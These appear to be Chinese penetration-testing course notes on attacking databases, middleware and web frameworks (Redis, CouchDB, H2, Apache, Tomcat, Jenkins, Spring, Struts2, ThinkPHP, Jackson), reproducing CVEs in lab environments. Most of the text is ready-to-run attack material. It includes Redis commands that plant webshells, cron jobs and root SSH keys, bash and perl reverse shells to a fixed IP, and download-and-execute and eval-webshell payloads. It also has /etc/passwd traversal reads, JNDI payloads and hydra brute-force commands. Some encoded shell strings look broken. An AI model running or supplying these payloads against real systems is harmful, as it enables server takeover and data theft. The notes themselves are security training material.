第78天:服务攻防-数据库安全&Redis&CouchDB&H2database&未授权访问&CVE漏洞

前置知识:

1、复现环境:Vulfocus(官方在线的无法使用)
官方手册:https://fofapro.github.io/vulfocus/#/
搭建踩坑:(无法同步)
http://blog.csdn.net/m0_64563956/article/details/131229046

2、服务判断:
端口扫描:利用服务开启后目标端口开放判断
组合判断:利用搭建常见组合分析可能开放服务
信息来源:访问端口提示软件版本,应用信息等
强弱特征:如框架 shiro 强特征 rememberMe,SpringBoot 默认页面等

3、对象类别:
对服务进行类别划分,通过服务功能理解,如数据库有账号密码就有爆破利用方法,也可以针对服务公开的 CVE 进行漏洞测试及服务常见的错误安全配置导致的未授权访问等。

4、利用方法:
主要集中在 CVE 漏洞,未授权访问,弱口令爆破等

数据库应用-Redis-未授权访问&CVE漏洞

默认端口:6379 关键发现点

Redis 是一套开源的使用 ANSI C 编写、支持网络、可基于内存亦可持久化的日志型、键值存储数据库,并提供多种语言的 API。Redis 如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。

1、未授权访问:CNVD-2015-07557

  • 写 Webshell 需得到 Web 路径
    利用条件:Web 目录权限可读写
    config set dir /tmp # 设置 WEB 写入目录
    config set dbfilename 1.php # 设置写入文件名
    set test "<?php phpinfo();?>" # 设置写入文件代码
    bgsave # 保存执行
    save # 保存执行
    注意:部分没目录权限读写权限

-写定时任务反弹 shell
利用条件:安全模式 protected-mode 处于关闭状态
config set dir /var/spool/cron
set yy "\n\n\n * bash -i >& /dev/tcp/47.94.236.117/5555 0>&1\n\n\n"
config set dbfilename x
save
注意:
centos 会忽略乱码去执行格式正确的任务计划
而 ubuntu 并不会忽略这些乱码,所以导致命令执行失败

-写入 Linux ssh-key 公钥
利用条件:Redis 服务使用 ROOT 账号启动,安全模式 protected-mode 处于关闭状态
允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器

ssh-keygen -t rsa
cd /root/.ssh/
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
cat key.txt | redis-cli -h 目标 IP -x set xxx
//以上步骤在自己的攻击机器上执行
config set dir /root/.ssh/
config set dbfilename authorized_keys
Save
cd /root/.ssh/
ssh -i id_rsa root@目标IP

-自动化项目:
https://github.com/n0b0dyCN/redis-rogue-server
python redis-rogue-server.py --rhost 47.94.236.117 --rport 41955 --lhost 47.94.236.117

2、未授权访问-CNVD-2019-21763
由于在 Reids 4.x 及以上版本中新增了模块功能,攻击者可通过外部拓展,在 Redis 中实现一个新的 Redis 命令。攻击者可以利用该功能引入模块,在未授权访问的情况下使被攻击服务器加载恶意 .so 文件,从而实现远程代码执行。
https://github.com/vulhub/redis-rogue-getshell
python redis-master.py -r 目标 IP -p 目标端口 -L 攻击 IP -P 8888 -f RedisModulesSDK/exp.so -c "id"

3、沙箱绕过 RCE-CVE-2022-0543
Poc:执行 id 命令
eval 'local io_l =
package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0",
"luaopen_io"); local io = io_l(); local f = io.popen("id", "r");
local res = f:read("*a"); f:close(); return res' 0

数据库应用-Couchdb-未授权越权&CVE 漏洞

默认端口:5984
-Couchdb 垂直权限绕过(CVE-2017-12635)
Apache CouchDB 是一个开源数据库,专注于易用性和成为“完全拥抱 web 的数据库”。它是一个使用 JSON 作为存储格式,JavaScript 作为查询语言,MapReduce 和 HTTP 作为 API 的 NoSQL 数据库。应用广泛,如 BBC 用在其动态内容展示平台,Credit Suisse 用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web 和应用程序)。在 2017 年 11 月 15 日,CVE-2017-12635 和 CVE-2017-12636 披露利用。

1、先创建用户
PUT /_users/org.couchdb.user:xiaodi HTTP/1.1
Host: 47.94.236.117:44389
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 108
{
"type": "user",
"name": "xiaodi",
"roles": ["admin"],
"roles": [],
"password": "xiaodi"
}

2、登录用户授权
GET: /utils/
xiaodi:xiaodi

数据库应用 - H2database - 未授权访问 & CVE 漏洞

默认端口:20051

Java SQL 数据库 H2,H2 的主要特点是:非常快,开源,JDBC API;嵌入式和服务器模式;内存数据库;基于浏览器的控制台应用程序。H2 数据库控制台中的另一个未经身份验证的 RCE 漏洞,在 v2.1.210+ 中修复。2.1.210 之前的 H2 控制台允许远程攻击者通过包含子字符串的 jdbc:h2:mem JDBC URL 执行任意代码。

1、未授权进入:
jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE
2、RCE 执行反弹:
创建数据库文件:h2database.sql
CREATE TABLE test (
id INT NOT NULL
);
CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript
Java.type("java.lang.Runtime").getRuntime().exec("bash -c {echo,[base64 加密的反弹 shell 指令]} | {base64,-d} | {bash,-i}");
';

反弹指令示例:bash -i >& /dev/tcp/x.x.x.x/6666 0>&1

启动提供 SQL 文件远程加载服务:
python3 -m http.server [端口]

填入 Payload 使其加载远程 SQL:
jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://搭建的IP:端口/h2database.sql';
nc -lvvp xxxx

第79天:服务攻防-中间件安全&IIS&Apache&Tomcat&Nginx&弱口令&错误配置&CVE

中间件 - IIS - 短文件&解析&蓝屏等

1、短文件:信息收集前面讲过
2、文件解析:还有点用前面讲过

3、HTTP.SYS:蓝屏崩溃前面讲过
4、CVE-2017-7269 条件苛刻无意义

中间件 - Nginx - 文件解析&命令执行等

1、后缀解析文件名解析
配置不当:该漏洞与 Nginx、PHP 版本无关,属于用户配置不当造成的解析漏洞。
CVE-2013-4547:影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
2、CVE-2021-23017 无 EXP 有 POC
https://github.com/M507/CVE-2021-23017-PoC
3、CVE-2017-7529 意义不大

中间件 - Apache - RCE & 目录遍历 & 文件解析等

Apache HTTP Server 是美国阿帕奇(Apache)基金会的一款开源网页服务器。该服务器具有快速、可靠且可通过简单 API 进行扩充的特点。
在 Apache HTTP Server 2.4.50 中,针对 CVE-2021-41773 的修复不够充分,攻击者可以使用路径遍历攻击将 URL 映射到由类似别名的指令配置的目录之外的文件。
如果这些目录之外的文件不受默认配置“Require all denied”的保护,则这些请求可能成功。
如果还为这些别名路径启用了 CGI 脚本,则可能允许远程代码执行。
此问题仅影响 Apache 2.4.49 和 Apache 2.4.50,不影响更早版本。

1、CVE-2021-42013 RCE
curl --data "echo;id" 'http://xx.xx.xx.xx/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'

POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
echo;perl -e 'use Socket; $i="47.94.236.117";$p=5566;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

2、CVE-2021-41773 目录穿越
Apache HTTP Server 2.4.49、2.4.50 版本对路径规范化所做的更改中存在一个路径遍历漏洞。
径穿越漏洞,攻击者可利用该漏洞读取到 Web 目录外的其他文件,如系统配置文件、网站源码等,甚至在特定情况下,攻击者可构造恶意请求执行命令,控制服务器。
curl -v --path-as-is 'http://xx.xx.xx.xx/icons/.%2e/%2e%2e/%2e%2e/etc/passwd'
GET /icons/.%%32%65/%%32%65%32%65/.%%32%65%32%65/.%%32%65%32%65/etc/passwd

3、cve-2017-15715 文件解析
Apache HTTPD 是一款 HTTP 服务器。其 2.4.0~2.4.29 版本存在一个解析漏洞,在解析 PHP 时,1.php\x0A 将被按照 PHP 后缀进行解析,导致绕过一些服务器的安全策略。

4、cve_2017_9798 价值不高
5、cve_2018_11759 价值不高
6、cve_2021_37580 插件问题

中间件 - Tomcat - 弱口令 & 文件上传 & 文件包含等

1、弱口令猜解
https://github.com/BeichenDream/Godzilla
配置不当导致后台弱口令,可通过上传 jsp 压缩包改名的 war 拿 shell

  • 先爆破弱口令
  • 后门压缩 zip 改 war
  • 上传 war 访问链接

2、CVE-2017-12615 文件上传
当存在漏洞的 Tomcat 运行在 Windows/Linux 主机上,且启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 的 webshell 文件,JSP 文件中的恶意代码将能被服务器执行,导致服务器上的数据泄露或获取服务器权限。
影响版本:Apache Tomcat 7.0.0 - 7.0.79

PUT /xx.jsp/
PUT /xx.jsp%20
PUT /xxx.jsp::$DATA (win)
3、cve_2020_1938 文件包含
Apache Tomcat AJP 协议(默认 8009 端口)由于存在实现缺陷导致相关参数可控,攻击者利用该漏洞可通过构造特定参数,读取服务器 webapp 目录下的任意文件。若服务器端同时存在文件上传功能,攻击者可进一步结合文件包含实现远程代码的执行。
漏洞影响的产品版本包括:
Tomcat 6.*
Tomcat 7.* < 7.0.100
Tomcat 8.* < 8.5.51
Tomcat 9.* < 9.0.31
https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
D:\Python2.7\python.exe .\CNVD-2020-10487-Tomcat-Ajp-lfi.py 47.98.193.176 -p 35839 -f WEB-INF/web.xml
4、cve_2020_11996 拒绝服务
危害过大,权限无关,意义不大
5、cve_2020_9484 反序列化
利用条件太苛刻,意义不大

中间件-Fofaviewer&Apache_RCE-测测实际

server="Apache/2.4.49"

第80天:服务攻防-中间件安全&HW2023-WPS分析&Weblogic&Jetty&Jenkins&CVE

中间件 - Jetty - CVE & 信息泄漏

Jetty 是一个开源的 servlet 容器,它为基于 Java 的 Web 容器提供运行环境。
/%2e/WEB-INF/web.xml
/.%00/WEB-INF/web.xml
/%u002e/WEB-INF/web.xml
/static?/WEB-INF/web.xml
/a/b/..%00/WEB-INF/web.
访问这些路径有返回就有洞

中间件 - Jenkins - CVE & RCE 执行

Jenkins 是一个开源软件项目,是基于 Java 开发的一种持续集成工具,用于监控持续重复的工作。探针默认端口:8080

1、CVE-2017-1000353 JDK-1.8.0_291 其他版本失效
https://github.com/vulhub/CVE-2017-1000353
bash -i >& /dev/tcp/47.94.236.117/5566 0>&1
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "bash -c {echo,YmFzaCAtbSAvZGV2L3RjcC8NY45NC4yMzYuMTE3LzY2ODggMD4mMQ==}|{base64,-d}|{bash,-i}"
python exploit.py http://123.58.236.76:54217 jenkins_poc.ser

2、CVE-2018-1000861
https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc
bash -i >& /dev/tcp/47.94.236.117/5566 0>&1
python3 -m http.server 8888
python2 exp.py http://123.58.236.76:52281/ "curl -o /tmp/1.sh http://47.94.236.117:8888/shell1.txt"
python2 exp.py http://123.58.236.76:52281/ "bash /tmp/1.sh"
3、cve_2019_100300 需要用户帐号密码

中间件 - Weblogic - CVE & 反序列化 & RCE

Weblogic 是 Oracle 公司推出的 J2EE 应用服务器。
探针默认端口:7001

CVE-2023-21839(JNDI)
CVE-2020-2551(JRMP)
CVE-2020-2551
CVE-2020-2555
CVE-2020-2883
CVE-2020-14882 未授权访问
CVE-2018-2894
CVE-2018-2628(JRMP)
CVE-2018-2893(JRMP)
https://github.com/KimJun1010/WeblogicTool

第81天:服务攻防-开发框架安全&SpringBoot&Struts2&Laravel&ThinkPHP&CVE复现

PHP-框架安全 - Thinkphp & Laravel

Laravel 是一套简洁、优雅的 PHP Web 开发框架 (PHP Web Framework)。

1、CVE-2021-3129 RCE
Laravel <= 8.4.2
https://github.com/zhzyker/CVE-2021-3129
https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP

Thinkphp-3.X RCE-6.X RCE

1、ThinkPHP 是一套开源的、基于 PHP 的轻量级 Web 应用开发框架
综合工具:武器库-Thinkphp 专检(3-6 版本)
2、6.X lang RCE
https://blog.csdn.net/mo_71518346/article/details/128360317
?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<>=@eval ($_REQUEST['x']);?+/var/www/html/x.php

J2EE-框架安全 - SpringBoot & Struts2

Struts2

Apache Struts2 框架是一个使用 JavaEE 网络应用程序的 Web 框架。
可能存在 OGNL 表达注入扩展,从而造成远程代码执行,风险极大。

特征点url末尾:.action
攻击流量特征 (%23request.map %23是#
1、struts2 代码执行(CVE-2020-17530)
Apache Struts 2.0.0 - 2.5.25
https://github.com/YanMu2020/s2-062
python .\s2-062.py --url http://47.98.193.176:18588/ --cmd id

2、Struts2 代码执行(CVE-2021-31805)

SpringBoot

1、Spring Boot 目录遍历(CVE-2021-21234)
Spring-boot-actuator-logview 0.2.13 之前版本存在路径遍历漏洞,攻击者可通过该缺陷读取系统任意文件。参考:
https://blog.csdn.net/weixin_43165012/article/details/121152482
http://47.98.193.176:8908/manage/log/view?filename=etc/passwd&base=../../../../../../../../../../../../..
http://127.0.0.1:8887/manage/log/view?filename=/windows/win.ini&base=../../../../../../../../../../../../..

2、Spring Cloud Function Spel 表达式注入 CVE-2022-229963
Spring Cloud Function 提供了一个通用的模型,用于在各种平台上部署基于函数的软件,包括像 Amazon AWS Lambda 这样的 FaaS(函数即服务,function as a service)平台。
3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2
参考:https://developer.aliyun.com/article/1160011
POST: /functionRouter
spring.cloud.function.routing-expression:
T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtbSAvZGV2L3RjcC8NY45NC4yMzYuMTE3LzU1NjYgMD4mMQ==}|{base64,-d}|{bash,-i}")

3、Spring Framework 远程代码执行漏洞 CVE-2022-22965
Spring Framework 是一个开源应用框架,初衷是为了降低应用程序开发的复杂度,具有分层体系结构,允许用户选择组件,同时还为 J2EE 应用程序开发提供了一个好用的框架。
Spring Framework < 5.3.18
Spring Framework < 5.2.20
Spring Framework 的衍生框架构建的网站或应用

4、Spring boot 命令执行(CVE-2022-22947)
参考:https://cloud.tencent.com/developer/article/2164533
Spring Cloud Gateway 是 Spring 中的一个 API 网关。
Spring Cloud Gateway 3.1.x < 3.1.1
Spring Cloud Gateway 3.0.x < 3.0.7
其他旧的、不支持的 Spring Cloud Gateway 版本

5、监控配置不当利用:
见前面 Actuator-heapdump 利用讲解

-综合 CVE 利用工具:
https://github.com/0x727/SpringBootExploit
https://github.com/13exp/SpringBoot-Scan-GUI

第82天:服务攻防-开发组件安全&Solr搜索&Shiro身份&Log4j日志&本地CVE环境复现

第83天:服务攻防-开发组件安全&Jackson&FastJson各版本&XStream&CVE环境复现

J2EE-组件 Jackson-本地 demo&CVE

当下流行的 json 解释器,主要负责处理 Json 的序列化和反序列化。
历史漏洞:https://avd.aliyun.com/search?q=Jackson
黑盒检测:Java 应用 请求参数数据包以 json 发送 测试地方 或者发送错误信息看报错信息

1、代码执行(CVE-2020-8840)
2.0.0 <= FasterXML jackson-databind Version <= 2.9.10.2
String json =
"{\"org.apache.xbean.propertyeditor.JndiConverter\",\"{\"asText\":\"ldap://localhost:1389/Exploit\"}";

2、代码执行(CVE-2020-35728)
FasterXML jackson-databind 2.x < 2.9.10.8
String payload =
"{\"com.oracle.wls.shaded.org.apache.xalan.lib.sql.JNDIConnectionPool\",\"jndiPath\":\"rmi://47.94.236.117:1099/gtcaafz\"}";

J2EE-组件 FastJson-本地 demo&CVE

阿里巴巴公司开源的 json 解析器,它可以解析 JSON 格式的字符串,支持将 JavaBean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。
历史漏洞:https://avd.aliyun.com/search?q=fastjson
利用 POC:https://github.com/kezibeii/fastjson_payload
FastJson <= 1.2.24
FastJson <= 1.2.47
FastJson <= 1.2.80 (只能使用对方项目中存在的的类和组件、库)

J2EE-组件 XStream-本地 demo&CVE

开源 Java 类库,能将对象序列化成 XML 或 XML 反序列化为对象
历史漏洞:https://avd.aliyun.com/search?q=XStream
常用 cve-2021-21351 、29505

在漏洞复现的时候要考虑 不出网 无回显等多种因素

端口协议-口令爆破&未授权

  • 弱口令爆破
    https://github.com/vanhauser-thc/thc-hydra
    hydra 是一个自动化的爆破工具,暴力破解弱密码,(crackmapexec在内网中用的比较多)
    是一个支持众多协议的爆破工具,已经集成到 KaliLinux 中,直接在终端打开即可
    Examples:(小写指定 大写字典)
    hydra -l user -P passlist.txt ftp://192.168.0.1
    hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
    hydra -C defaults.txt -6 pop3s://2001:db8:11:143/TLS:DIGEST-MD5
    hydra -l admin -p password ftp://192.168.0.0/24/
    hydra -L logins.txt -P pws.txt -M targets.txt ssh
    未授权使用工具测 ,现学